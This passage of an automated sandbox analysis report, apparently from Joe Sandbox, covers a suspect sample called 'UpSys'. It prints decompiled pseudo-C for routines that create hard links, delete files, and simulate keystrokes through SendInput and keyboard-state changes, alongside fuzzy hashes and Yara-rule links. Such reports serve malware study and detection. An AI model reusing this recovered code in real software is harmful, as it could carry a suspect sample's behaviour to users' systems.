				_t61 =  *0x400c6ac8; // 0x3264820
				_t81 =  *((intOrPtr*)( *((intOrPtr*)(_t61 + _v40 * 8))));
				_t32 =  *(_t81 + 0xf4) & 0x000000ff;
				E0000000114003FD90( &_a24);
				_t33 = _t32;
				if (_t32 - 0x13 > 0) goto 0x40056ba4;
				if (_t32 == 0x13) goto 0x40056b8c;
				if (_t32 < 0) goto 0x40056aca;
				if (_t32 - 4 <= 0) goto 0x40056be6;
				if (_t32 == 8) goto 0x40056b85;
				if (_t32 == 0x10) goto 0x40056b7e;
				if (_t32 != 0x11) goto 0x40056aca;
				_t15 = _t75 + 1; // 0x1
				r8d = _t15;
				 *((intOrPtr*)(_t81 + 0x8c)) = _a24;
				InvalidateRect(_t77, _t80, _t83);
				if ( *0x400b54f0 == 0) goto 0x40056c0d;
				if (_t32 == 8) goto 0x40056b76;
				if (_t32 == 4) goto 0x40056b76;
				if (_t32 == 0x1a) goto 0x40056b76;
				if (_t32 != 0x19) goto 0x40056c0d;
				goto 0x40056c12;
				goto 0x40056b91;
				goto 0x40056b91;
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				goto 0x40056b51;
				if (_t33 == 0x14) goto 0x40056b37;
				if (_t33 == 0x17) goto 0x40056be6;
				_t56 = _t33 - 0x18;
				if (_t56 == 0) goto 0x40056bc3;
				if (_t56 <= 0) goto 0x40056aca;
				if (_t33 - 0x1b <= 0) goto 0x40056be6;
				goto 0x40056aca;
				GetWindowLongW(??, ??);
				__imp__SetWindowLongPtrW();
				r9d = 1;
				 *((intOrPtr*)(_t81 + 0x8c)) = _a24;
				E0000000114003DCE0(__rbx,  *((intOrPtr*)( *((intOrPtr*)(_t60 + _a32 * 8)))), _t81);
				goto 0x40056b51;
				return 1;
			}
















                                                                                                                                                                                                        0x140056aa0
                                                                                                                                                                                                        0x140056aa0
                                                                                                                                                                                                        0x140056aa3
                                                                                                                                                                                                        0x140056aa7
                                                                                                                                                                                                        0x140056ac8
                                                                                                                                                                                                        0x140056acc
                                                                                                                                                                                                        0x140056ad1
                                                                                                                                                                                                        0x140056ae1
                                                                                                                                                                                                        0x140056af4
                                                                                                                                                                                                        0x140056aff
                                                                                                                                                                                                        0x140056b06
                                                                                                                                                                                                        0x140056b0e
                                                                                                                                                                                                        0x140056b10
                                                                                                                                                                                                        0x140056b19
                                                                                                                                                                                                        0x140056b1d
                                                                                                                                                                                                        0x140056b22
                                                                                                                                                                                                        0x140056b2b
                                                                                                                                                                                                        0x140056b30
                                                                                                                                                                                                        0x140056b35
                                                                                                                                                                                                        0x140056b41
                                                                                                                                                                                                        0x140056b41
                                                                                                                                                                                                        0x140056b45
                                                                                                                                                                                                        0x140056b4b
                                                                                                                                                                                                        0x140056b58
                                                                                                                                                                                                        0x140056b61
                                                                                                                                                                                                        0x140056b66
                                                                                                                                                                                                        0x140056b6b
                                                                                                                                                                                                        0x140056b70
                                                                                                                                                                                                        0x140056b79
                                                                                                                                                                                                        0x140056b83
                                                                                                                                                                                                        0x140056b8a
                                                                                                                                                                                                        0x140056b96
                                                                                                                                                                                                        0x140056b9c
                                                                                                                                                                                                        0x140056ba2
                                                                                                                                                                                                        0x140056ba7
                                                                                                                                                                                                        0x140056bac
                                                                                                                                                                                                        0x140056bae
                                                                                                                                                                                                        0x140056bb1
                                                                                                                                                                                                        0x140056bb3
                                                                                                                                                                                                        0x140056bbc
                                                                                                                                                                                                        0x140056bbe
                                                                                                                                                                                                        0x140056bcb
                                                                                                                                                                                                        0x140056be0
                                                                                                                                                                                                        0x140056bf1
                                                                                                                                                                                                        0x140056bfd
                                                                                                                                                                                                        0x140056c03
                                                                                                                                                                                                        0x140056c08
                                                                                                                                                                                                        0x140056c1e

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: InvalidateRect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 634782764-0
                                                                                                                                                                                                        • Opcode ID: e2dfb3fbad413e1abbda726481d1a17c012d40e5a559f5530c23ce0109fa7604
                                                                                                                                                                                                        • Instruction ID: 7120a0c2c23b532ee235b7386954fe418b3a1ff90254fb84438d16f18cc82392
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e2dfb3fbad413e1abbda726481d1a17c012d40e5a559f5530c23ce0109fa7604
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 91418B3121464486FA36CB3B94947FD6761E789BD4F588112FB4A83AF5CB3AD8C18B02
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004DBF0 Relevance: 6.1, APIs: 4, Instructions: 103windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Rect$BeepClientMessageScreenWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1352109105-0
                                                                                                                                                                                                        • Opcode ID: c9ced95a7409c1587d9af6c69f070e5dc73ec72705b8a7c5cc928a7086745375
                                                                                                                                                                                                        • Instruction ID: 8849326e33e03ea66d213df5dfbcc8ea91c5958e0c86f637e3a968f31526d337
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c9ced95a7409c1587d9af6c69f070e5dc73ec72705b8a7c5cc928a7086745375
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FD418032204B4595EB22CF2AD4947A977A5F788BD4F664027EF8D837B0DB78C446CB04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006E6D0 Relevance: 6.1, APIs: 4, Instructions: 97fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 72%
                                                                                                                                                                                                        			E0000000114006E6D0(void* __ecx, void* __edx, void* __esp, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, intOrPtr* __r8) {
				void* _t24;
				intOrPtr _t29;
				intOrPtr _t36;
				void* _t44;
				void* _t53;
				long long _t92;
				void* _t93;
				void* _t95;
				WCHAR* _t101;
				intOrPtr* _t102;
				void* _t104;
				void* _t107;

				_t90 = __rsi;
				_t53 = _t95;
				 *((long long*)(_t53 + 8)) = __rbx;
				 *((long long*)(_t53 + 0x10)) = _t92;
				 *((long long*)(_t53 + 0x18)) = __rsi;
				 *((long long*)(_t53 + 0x20)) = __rdi;
				sil = 0;
				_t102 = __r8;
				_t93 = __rdx;
				r14d = 1;
				if ( *((long long*)(__rdx + 0x10)) - 2 <= 0) goto 0x4006e71e;
				E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10)));
				_t44 =  ==  ? r14d : sil & 0xffffffff;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				_t24 = E00000001140040EC0();
				_t56 =  *((intOrPtr*)(__rdx + 8));
				if (_t24 == 0) goto 0x4006e767;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 8)));
				E00000001140062190(_t56,  *_t56);
				r9b = sil;
				E0000000114003EC70(__ecx, __esp, _t56,  *_t56, _t56, __rsi, _t56, _t107);
				goto 0x4006e7fe;
				E00000001140062190(_t56,  *_t56);
				_t29 = E00000001140062190(_t56,  *((intOrPtr*)(_t56 + 8)));
				r8d = 0;
				__imp__CreateHardLinkW();
				E00000001140007A40( *((intOrPtr*)(_t56 + 8)), _t102, _t90, _t104);
				 *((intOrPtr*)(_t102 + 8)) = r14d;
				 *_t102 = _t29;
				if (E00000001140010880(_t102) != 0) goto 0x4006e811;
				if (GetLastError() != 0xb7) goto 0x4006e811;
				if (sil == 0) goto 0x4006e811;
				_t57 =  *((intOrPtr*)(_t93 + 8));
				E00000001140062190( *((intOrPtr*)(_t93 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t93 + 8)) + 8)));
				DeleteFileW(_t101);
				E00000001140062190( *((intOrPtr*)(_t93 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t93 + 8)))));
				_t36 = E00000001140062190(_t57,  *((intOrPtr*)( *((intOrPtr*)(_t93 + 8)) + 8)));
				r8d = 0;
				__imp__CreateHardLinkW();
				E00000001140007A40( *((intOrPtr*)( *((intOrPtr*)(_t93 + 8)) + 8)), _t102, _t90);
				 *_t102 = _t36;
				 *((intOrPtr*)(_t102 + 8)) = r14d;
				return 0;
			}















                                                                                                                                                                                                        0x14006e6d0
                                                                                                                                                                                                        0x14006e6d0
                                                                                                                                                                                                        0x14006e6d3
                                                                                                                                                                                                        0x14006e6d7
                                                                                                                                                                                                        0x14006e6db
                                                                                                                                                                                                        0x14006e6df
                                                                                                                                                                                                        0x14006e6ed
                                                                                                                                                                                                        0x14006e6f5
                                                                                                                                                                                                        0x14006e6f8
                                                                                                                                                                                                        0x14006e6fe
                                                                                                                                                                                                        0x14006e704
                                                                                                                                                                                                        0x14006e70e
                                                                                                                                                                                                        0x14006e71a
                                                                                                                                                                                                        0x14006e725
                                                                                                                                                                                                        0x14006e72d
                                                                                                                                                                                                        0x14006e734
                                                                                                                                                                                                        0x14006e738
                                                                                                                                                                                                        0x14006e741
                                                                                                                                                                                                        0x14006e74c
                                                                                                                                                                                                        0x14006e751
                                                                                                                                                                                                        0x14006e75d
                                                                                                                                                                                                        0x14006e762
                                                                                                                                                                                                        0x14006e76e
                                                                                                                                                                                                        0x14006e779
                                                                                                                                                                                                        0x14006e77e
                                                                                                                                                                                                        0x14006e787
                                                                                                                                                                                                        0x14006e792
                                                                                                                                                                                                        0x14006e79a
                                                                                                                                                                                                        0x14006e79f
                                                                                                                                                                                                        0x14006e7aa
                                                                                                                                                                                                        0x14006e7b7
                                                                                                                                                                                                        0x14006e7bc
                                                                                                                                                                                                        0x14006e7be
                                                                                                                                                                                                        0x14006e7c6
                                                                                                                                                                                                        0x14006e7ce
                                                                                                                                                                                                        0x14006e7df
                                                                                                                                                                                                        0x14006e7ea
                                                                                                                                                                                                        0x14006e7ef
                                                                                                                                                                                                        0x14006e7f8
                                                                                                                                                                                                        0x14006e803
                                                                                                                                                                                                        0x14006e808
                                                                                                                                                                                                        0x14006e80c
                                                                                                                                                                                                        0x14006e831

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3321077145-0
                                                                                                                                                                                                        • Opcode ID: 57a18a99d1d00e50d8da48b1bad870c7246ef65a07573c7ed622dee7c05361ab
                                                                                                                                                                                                        • Instruction ID: 6f84cd0e7bd52043559d51e36cbc6cdf1fc95aa76aca5a721e6c98e677ae7f2d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 57a18a99d1d00e50d8da48b1bad870c7246ef65a07573c7ed622dee7c05361ab
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A0311432A04B9081EA45EB23DC557AE67A1F78DFD4F598822FF4D4B762DE78C4818340
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005A410 Relevance: 6.1, APIs: 4, Instructions: 96keyboardwindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 37%
                                                                                                                                                                                                        			E0000000114005A410(void* __ecx, void* __edi, void* __rax, long long __rbx, char* __rcx, signed int* __rdx, long long __rsi, long long __rbp, BYTE* __r12, BYTE* __r13, BYTE* __r14, long long _a8, long long _a16, long long _a24) {
				char _v24;
				void* _v280;
				long long _v304;
				signed int _v312;
				intOrPtr _v316;
				intOrPtr _v318;
				intOrPtr _v320;
				char _v328;
				long long _v344;
				char _v376;
				void* _v632;
				long long _v656;
				intOrPtr _v664;
				intOrPtr _v668;
				signed short _v670;
				intOrPtr _v672;
				char _v680;
				long long _v696;
				void* _t86;
				int _t92;
				void* _t94;
				void* _t95;
				int _t100;
				void* _t102;
				short _t120;
				signed short _t126;
				char* _t159;
				long long _t162;
				long long _t164;
				long long _t166;
				signed int* _t190;
				long long _t193;
				intOrPtr _t194;
				int _t196;
				long long _t199;
				long long _t206;
				void* _t209;
				char* _t211;
				char* _t224;
				char* _t225;
				struct HWND__* _t227;
				BYTE* _t230;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				dil =  *__rdx;
				bpl = __rdx[1];
				r12d = __rdx[2] & 0x0000ffff;
				r13d = 0;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __r13) goto 0x4005a4fe;
				if (dil == 0x14) goto 0x4005a4fe;
				if (dil == 0x90) goto 0x4005a4fe;
				if (dil == 0x91) goto 0x4005a4fe;
				if (E00000001140042140(_t86, __edi, __rdx) == r13b) goto 0x4005a573;
				GetKeyboardState(__r13);
				r12d = dil & 0xffffffff;
				 *(_t209 - 0x160 +  &(__r12[0x60])) =  *(_t209 - 0x160 +  &(__r12[0x60])) ^ 0x00000080;
				SetKeyboardState(__r12);
				r11d = bpl & 0xffffffff;
				r11d = r11d << 0x10;
				if (E000000011400517E0(__rdx) != 1) goto 0x4005a4bd;
				asm("dec eax");
				if ( *((intOrPtr*)(__rcx + 0x1b)) != r13b) goto 0x4005a4cf;
				if ( *((intOrPtr*)(__rcx + 0x21)) != r13b) goto 0x4005a4cf;
				if (dil != 0x12) goto 0x4005a4e7;
				if ( *((intOrPtr*)(__rcx + 0x1a)) != r13b) goto 0x4005a4e7;
				if ( *((intOrPtr*)(__rcx + 0x20)) != r13b) goto 0x4005a4e7;
				asm("dec eax");
				goto 0x4005a4ec;
				_t92 = PostMessageW(??, ??, ??, ??);
				goto 0x4005a573;
				if (E00000001140042140(_t92, __edi, __rdx) == r13b) goto 0x4005a538;
				_t94 = E000000011400517E0(__rdx);
				_v344 = __r13;
				r8b = bpl;
				r9d = 3;
				if (_t94 == 1) goto 0x4005a531;
				r9d = 2;
				_t95 = E00000001140041FA0(dil, __rcx);
				goto 0x4005a573;
				r8d = 0x28;
				_t190 =  &_v328;
				_v328 = 1;
				_v320 = r13w;
				_v318 = r12w;
				_v316 = 6;
				_v312 = r13d;
				_v304 = __r13;
				__imp__SendInput();
				_t224 =  &_v24;
				_t162 =  *((intOrPtr*)(_t224 + 0x20));
				_t206 =  *((intOrPtr*)(_t224 + 0x28));
				_t199 =  *((intOrPtr*)(_t224 + 0x30));
				_t211 = _t224;
				_pop(_t230);
				_pop(_t227);
				_pop(_t193);
				goto E00000001140042030;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t159 = _t211;
				 *((long long*)(_t159 + 8)) = _t162;
				 *((long long*)(_t159 + 0x10)) = _t206;
				 *((long long*)(_t159 + 0x18)) = _t199;
				 *((long long*)(_t159 + 0x20)) = _t193;
				dil =  *_t190;
				r12b = _t190[1];
				_t126 = _t190[2] & 0x0000ffff;
				r14d = 0;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __r14) goto 0x4005a6a1;
				if (dil == 0x14) goto 0x4005a6a1;
				if (dil == 0x90) goto 0x4005a6a1;
				if (dil == 0x91) goto 0x4005a6a1;
				if (E00000001140042140(_t95, __edi, _t190) == r14b) goto 0x4005a686;
				GetKeyboardState(__r14);
				r13d = dil & 0xffffffff;
				 *(_t211 - 0x160 +  &(_t230[0x60])) =  *(_t211 - 0x160 +  &(_t230[0x60])) | 0x00000080;
				SetKeyboardState(_t230);
				r11d = r12b & 0xffffffff;
				r11d = r11d << 0x10;
				if (E000000011400517E0(_t190) != 1) goto 0x4005a649;
				asm("dec eax");
				if ( *((intOrPtr*)(__rcx + 0x1b)) != r14b) goto 0x4005a65b;
				if ( *((intOrPtr*)(__rcx + 0x21)) != r14b) goto 0x4005a65b;
				if (dil != 0x12) goto 0x4005a679;
				if ( *((intOrPtr*)(__rcx + 0x1a)) != r14b) goto 0x4005a679;
				if ( *((intOrPtr*)(__rcx + 0x20)) != r14b) goto 0x4005a679;
				asm("dec eax");
				goto 0x4005a695;
				goto 0x4005a695;
				r8d = _t126 & 0x0000ffff;
				r9d = 1;
				_t100 = PostMessageW(_t227, ??, ??);
				goto 0x4005a714;
				if (E00000001140042140(_t100, __edi, _t190) == r14b) goto 0x4005a6da;
				_t102 = E000000011400517E0(_t190);
				_v696 = __r14;
				r8b = r12b;
				_t120 = dil;
				if (_t102 != 1) goto 0x4005a6d0;
				r9d = 1;
				goto 0x4005a6d3;
				r9d = 0;
				E00000001140041FA0(_t120, __rcx);
				goto 0x4005a714;
				r8d = 0x28;
				_v680 = 1;
				_v672 = r14w;
				_v670 = _t126;
				_v668 = 4;
				_v664 = r14d;
				_v656 = __r14;
				__imp__SendInput();
				_t225 =  &_v376;
				_t164 =  *((intOrPtr*)(_t225 + 0x20));
				_t194 =  *((intOrPtr*)(_t225 + 0x38));
				goto E00000001140042010;
				asm("int3");
				asm("int3");
				asm("int3");
				_v696 = _t164;
				L1();
				_t166 = _v696;
				_t196 = _t194;
				goto E0000000114005A410;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_v696 = _t166;
				 *((char*)(__rcx + 7)) = 0;
				 *__rcx = 0xff;
				 *((char*)(__rcx + 1)) = 0;
				 *((char*)(__rcx + 2)) = 0;
				 *((char*)(__rcx + 3)) = 0;
				 *((char*)(__rcx + 4)) = 0;
				 *((char*)(__rcx + 5)) = 0;
				 *((char*)(__rcx + 6)) = 0;
				 *((char*)(__rcx + 0xa)) = 0;
				 *((short*)(__rcx + 8)) = _t120;
				if (E00000001140042130(__rcx) != 0) goto 0x4005a7b4;
				goto 0x4005a7f6;
				if (VkKeyScanW(_t196) == 0xffff) goto 0x4005a7b0;
				 *__rcx = 0;
				MapVirtualKeyW(??, ??);
				 *((char*)(__rcx + 7)) = 0;
				if ((0x00000001 & dil) == 0) goto 0x4005a7e4;
				 *((char*)(__rcx + 1)) = 1;
				if ((dil & 0x00000002) == 0) goto 0x4005a7ed;
				 *((char*)(__rcx + 3)) = 1;
				if ((dil & 0x00000004) == 0) goto 0x4005a7f6;
				 *((char*)(__rcx + 4)) = 1;
				return 1;
			}













































                                                                                                                                                                                                        0x14005a410
                                                                                                                                                                                                        0x14005a415
                                                                                                                                                                                                        0x14005a41a
                                                                                                                                                                                                        0x14005a42b
                                                                                                                                                                                                        0x14005a42e
                                                                                                                                                                                                        0x14005a432
                                                                                                                                                                                                        0x14005a437
                                                                                                                                                                                                        0x14005a444
                                                                                                                                                                                                        0x14005a44e
                                                                                                                                                                                                        0x14005a458
                                                                                                                                                                                                        0x14005a462
                                                                                                                                                                                                        0x14005a473
                                                                                                                                                                                                        0x14005a47e
                                                                                                                                                                                                        0x14005a484
                                                                                                                                                                                                        0x14005a48d
                                                                                                                                                                                                        0x14005a493
                                                                                                                                                                                                        0x14005a499
                                                                                                                                                                                                        0x14005a49d
                                                                                                                                                                                                        0x14005a4b6
                                                                                                                                                                                                        0x14005a4b8
                                                                                                                                                                                                        0x14005a4c1
                                                                                                                                                                                                        0x14005a4c7
                                                                                                                                                                                                        0x14005a4cd
                                                                                                                                                                                                        0x14005a4d3
                                                                                                                                                                                                        0x14005a4d9
                                                                                                                                                                                                        0x14005a4db
                                                                                                                                                                                                        0x14005a4e5
                                                                                                                                                                                                        0x14005a4f6
                                                                                                                                                                                                        0x14005a4fc
                                                                                                                                                                                                        0x14005a509
                                                                                                                                                                                                        0x14005a50e
                                                                                                                                                                                                        0x14005a513
                                                                                                                                                                                                        0x14005a518
                                                                                                                                                                                                        0x14005a521
                                                                                                                                                                                                        0x14005a529
                                                                                                                                                                                                        0x14005a52b
                                                                                                                                                                                                        0x14005a531
                                                                                                                                                                                                        0x14005a536
                                                                                                                                                                                                        0x14005a538
                                                                                                                                                                                                        0x14005a53e
                                                                                                                                                                                                        0x14005a543
                                                                                                                                                                                                        0x14005a54f
                                                                                                                                                                                                        0x14005a555
                                                                                                                                                                                                        0x14005a55b
                                                                                                                                                                                                        0x14005a563
                                                                                                                                                                                                        0x14005a568
                                                                                                                                                                                                        0x14005a56d
                                                                                                                                                                                                        0x14005a576
                                                                                                                                                                                                        0x14005a57e
                                                                                                                                                                                                        0x14005a582
                                                                                                                                                                                                        0x14005a586
                                                                                                                                                                                                        0x14005a58a
                                                                                                                                                                                                        0x14005a58d
                                                                                                                                                                                                        0x14005a58f
                                                                                                                                                                                                        0x14005a591
                                                                                                                                                                                                        0x14005a592
                                                                                                                                                                                                        0x14005a597
                                                                                                                                                                                                        0x14005a598
                                                                                                                                                                                                        0x14005a599
                                                                                                                                                                                                        0x14005a59a
                                                                                                                                                                                                        0x14005a59b
                                                                                                                                                                                                        0x14005a59c
                                                                                                                                                                                                        0x14005a59d
                                                                                                                                                                                                        0x14005a59e
                                                                                                                                                                                                        0x14005a59f
                                                                                                                                                                                                        0x14005a5a0
                                                                                                                                                                                                        0x14005a5a3
                                                                                                                                                                                                        0x14005a5a7
                                                                                                                                                                                                        0x14005a5ab
                                                                                                                                                                                                        0x14005a5af
                                                                                                                                                                                                        0x14005a5c0
                                                                                                                                                                                                        0x14005a5c3
                                                                                                                                                                                                        0x14005a5c7
                                                                                                                                                                                                        0x14005a5cb
                                                                                                                                                                                                        0x14005a5d8
                                                                                                                                                                                                        0x14005a5e2
                                                                                                                                                                                                        0x14005a5ec
                                                                                                                                                                                                        0x14005a5f6
                                                                                                                                                                                                        0x14005a607
                                                                                                                                                                                                        0x14005a60e
                                                                                                                                                                                                        0x14005a614
                                                                                                                                                                                                        0x14005a61d
                                                                                                                                                                                                        0x14005a623
                                                                                                                                                                                                        0x14005a629
                                                                                                                                                                                                        0x14005a62d
                                                                                                                                                                                                        0x14005a642
                                                                                                                                                                                                        0x14005a644
                                                                                                                                                                                                        0x14005a64d
                                                                                                                                                                                                        0x14005a653
                                                                                                                                                                                                        0x14005a659
                                                                                                                                                                                                        0x14005a65f
                                                                                                                                                                                                        0x14005a665
                                                                                                                                                                                                        0x14005a667
                                                                                                                                                                                                        0x14005a677
                                                                                                                                                                                                        0x14005a684
                                                                                                                                                                                                        0x14005a686
                                                                                                                                                                                                        0x14005a68f
                                                                                                                                                                                                        0x14005a699
                                                                                                                                                                                                        0x14005a69f
                                                                                                                                                                                                        0x14005a6ac
                                                                                                                                                                                                        0x14005a6b1
                                                                                                                                                                                                        0x14005a6b6
                                                                                                                                                                                                        0x14005a6bb
                                                                                                                                                                                                        0x14005a6be
                                                                                                                                                                                                        0x14005a6c6
                                                                                                                                                                                                        0x14005a6c8
                                                                                                                                                                                                        0x14005a6ce
                                                                                                                                                                                                        0x14005a6d0
                                                                                                                                                                                                        0x14005a6d3
                                                                                                                                                                                                        0x14005a6d8
                                                                                                                                                                                                        0x14005a6da
                                                                                                                                                                                                        0x14005a6e5
                                                                                                                                                                                                        0x14005a6f1
                                                                                                                                                                                                        0x14005a6f7
                                                                                                                                                                                                        0x14005a6fc
                                                                                                                                                                                                        0x14005a704
                                                                                                                                                                                                        0x14005a709
                                                                                                                                                                                                        0x14005a70e
                                                                                                                                                                                                        0x14005a717
                                                                                                                                                                                                        0x14005a71f
                                                                                                                                                                                                        0x14005a72b
                                                                                                                                                                                                        0x14005a738
                                                                                                                                                                                                        0x14005a73d
                                                                                                                                                                                                        0x14005a73e
                                                                                                                                                                                                        0x14005a73f
                                                                                                                                                                                                        0x14005a740
                                                                                                                                                                                                        0x14005a750
                                                                                                                                                                                                        0x14005a75b
                                                                                                                                                                                                        0x14005a764
                                                                                                                                                                                                        0x14005a765
                                                                                                                                                                                                        0x14005a76a
                                                                                                                                                                                                        0x14005a76b
                                                                                                                                                                                                        0x14005a76c
                                                                                                                                                                                                        0x14005a76d
                                                                                                                                                                                                        0x14005a76e
                                                                                                                                                                                                        0x14005a76f
                                                                                                                                                                                                        0x14005a770
                                                                                                                                                                                                        0x14005a77a
                                                                                                                                                                                                        0x14005a77e
                                                                                                                                                                                                        0x14005a781
                                                                                                                                                                                                        0x14005a785
                                                                                                                                                                                                        0x14005a789
                                                                                                                                                                                                        0x14005a78d
                                                                                                                                                                                                        0x14005a791
                                                                                                                                                                                                        0x14005a795
                                                                                                                                                                                                        0x14005a79c
                                                                                                                                                                                                        0x14005a7a0
                                                                                                                                                                                                        0x14005a7ae
                                                                                                                                                                                                        0x14005a7b2
                                                                                                                                                                                                        0x14005a7c1
                                                                                                                                                                                                        0x14005a7cf
                                                                                                                                                                                                        0x14005a7d1
                                                                                                                                                                                                        0x14005a7d7
                                                                                                                                                                                                        0x14005a7df
                                                                                                                                                                                                        0x14005a7e1
                                                                                                                                                                                                        0x14005a7e8
                                                                                                                                                                                                        0x14005a7ea
                                                                                                                                                                                                        0x14005a7f1
                                                                                                                                                                                                        0x14005a7f3
                                                                                                                                                                                                        0x14005a800

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
